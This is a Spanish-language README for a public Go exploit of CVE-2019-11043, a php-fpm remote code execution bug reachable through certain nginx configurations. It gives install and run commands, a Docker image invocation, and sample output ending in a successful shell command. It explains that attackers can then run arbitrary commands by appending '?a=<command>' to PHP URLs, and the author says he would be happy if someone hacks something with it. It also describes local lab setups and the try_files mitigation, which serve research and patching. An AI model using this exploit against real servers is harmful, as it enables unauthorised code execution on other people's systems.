
Exploit para CVE-2019-11043
Esto es un exploit para un bug en php-fpm (CVE-2019-11043). En ciertas configuraciones de nginx + php-fpm, el bug puede activarse desde el exterior. Esto significa que un usuario web puede obtener ejecución de código si tienes una configuración vulnerable (consulta a continuación).
Aunque fuimos demasiado perezosos para hacer un informe técnico, Orange Tsai publicó un análisis perfecto en su blog. Enhorabuena a él.
Además, mis diapositivas de ZeroNights 2019 están disponibles.
Si un servidor web ejecuta nginx + php-fpm y nginx tiene una configuración como
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
que además carece de cualquier comprobación de existencia de scripts (como try_files), entonces probablemente puedas hackearlo con este sploit.
location ~ [^/]\.php(/|$) debe reenviarse a php-fpm (quizás la expresión regular puede ser más estricta, ver #1).PATH_INFO mediante la declaración fastcgi_param PATH_INFO $fastcgi_path_info;. Además, SCRIPT_FILENAME debe establecerse usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (puede haber una ruta constante en lugar de $document_root). Al principio pensábamos que estas siempre estaban presentes en el archivo fastcgi_params, pero no es cierto.PATH_INFO a un valor vacío. Este exploit asume que la directiva fastcgi_split_path_info está presente y contiene una expresión regular que comienza con ^ y termina con $, por lo que intenta romper la expresión regular con un carácter de nueva línea.Hace mucho tiempo, php-fpm no restringía las extensiones de los scripts, lo que significaba que algo como /avatar.png/some-fake-shit.php podía ejecutar avatar.png como un script PHP. Este problema se corrigió alrededor de 2010.
El actual no requiere subida de archivos, funciona en las versiones más recientes (hasta que llegó el parche) y, lo más importante, el exploit es mucho más chulo.
Instálalo usando
go get github.com/neex/phuip-fpizdam
Si obtienes errores extraños de compilación, asegúrate de que estás usando go >= 1.13. Ejecuta el programa usando phuip-fpizdam [url] (asumiendo que tienes $GOPATH/bin dentro de tu $PATH; de lo contrario, especifica la ruta completa al binario). Una salida correcta se ve así:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Después de esto, puedes comenzar a añadir ?a=<your command> a todos los scripts PHP (puede que necesites varios reintentos).
Alternativamente, puedes usar una imagen de Docker para ejecutar el exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Si quieres reproducir el problema o jugar con el exploit localmente mediante Docker, haz lo siguiente:
reproducer.docker build -t reproduce-cve-2019-11043 .. Tarda mucho tiempo porque internamente clona el repositorio de php y lo compila desde el código fuente. Sin embargo, así será más fácil si quieres depurar el exploit. La revisión compilada es la inmediatamente anterior al parche.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= al script: http://127.0.0.1:8080/script.php?a=id. Inténtalo varias veces, ya que solo algunos de los workers de php-fpm están infectados.Si quieres reproducir el problema o jugar con el exploit localmente a través de LXD, haz lo siguiente:
vulnerable y attacker. Puedes usar la imagen de contenedor ubuntu:18.04 para ambos contenedores.vulnerable, instala nginx y php-fpm. Configura el bloque de servidor como esta configuración. Crea un archivo vacío /var/www/html/index.php.attacker, instala el lenguaje Go (sudo snap install go --classic), clona este repositorio y ejecuta go build en el directorio del repositorio../phuip-fpizdam http://vulnerable.lxd/index.php. Prueba varias veces para infectar a todos los workers de php-fpm.Para instrucciones más detalladas, consulta Probando CVE-2019-11043 (vulnerabilidad de seguridad de php-fpm) con contenedores de sistema LXD.
El desbordamiento de búfer inferior (buffer underflow) en php-fpm está presente en la versión 5 de PHP. Sin embargo, este exploit hace uso de una optimización utilizada para almacenar variables FastCGI, _fcgi_data_seg. Esta optimización solo está presente en php 7, por lo que este exploit en particular solo funciona en php 7. Podría haber otra técnica de explotación que funcione en php 5.
La anomalía original fue descubierta por d90pwn durante la Real World CTF. La causa raíz fue encontrada por mí (Emil Lerner), así como la forma de establecer las opciones de php.ini. El conjunto final de opciones de php.ini fue encontrado por beched.
Este exploit se distribuye bajo los términos de la Licencia MIT.
Evita causar cualquier daño con este exploit. Pero si realmente hackeas algo con esto, estaré feliz.
PATH_INFO se establece después de REQUEST_URI en la configuración.try_files $uri =404 o if (-f $uri). Si Nginx descarta las solicitudes a scripts inexistentes antes del reenvío a FastCGI, nuestras solicitudes nunca llegan a php-fpm. Añadir esto es también la forma más fácil de parchear.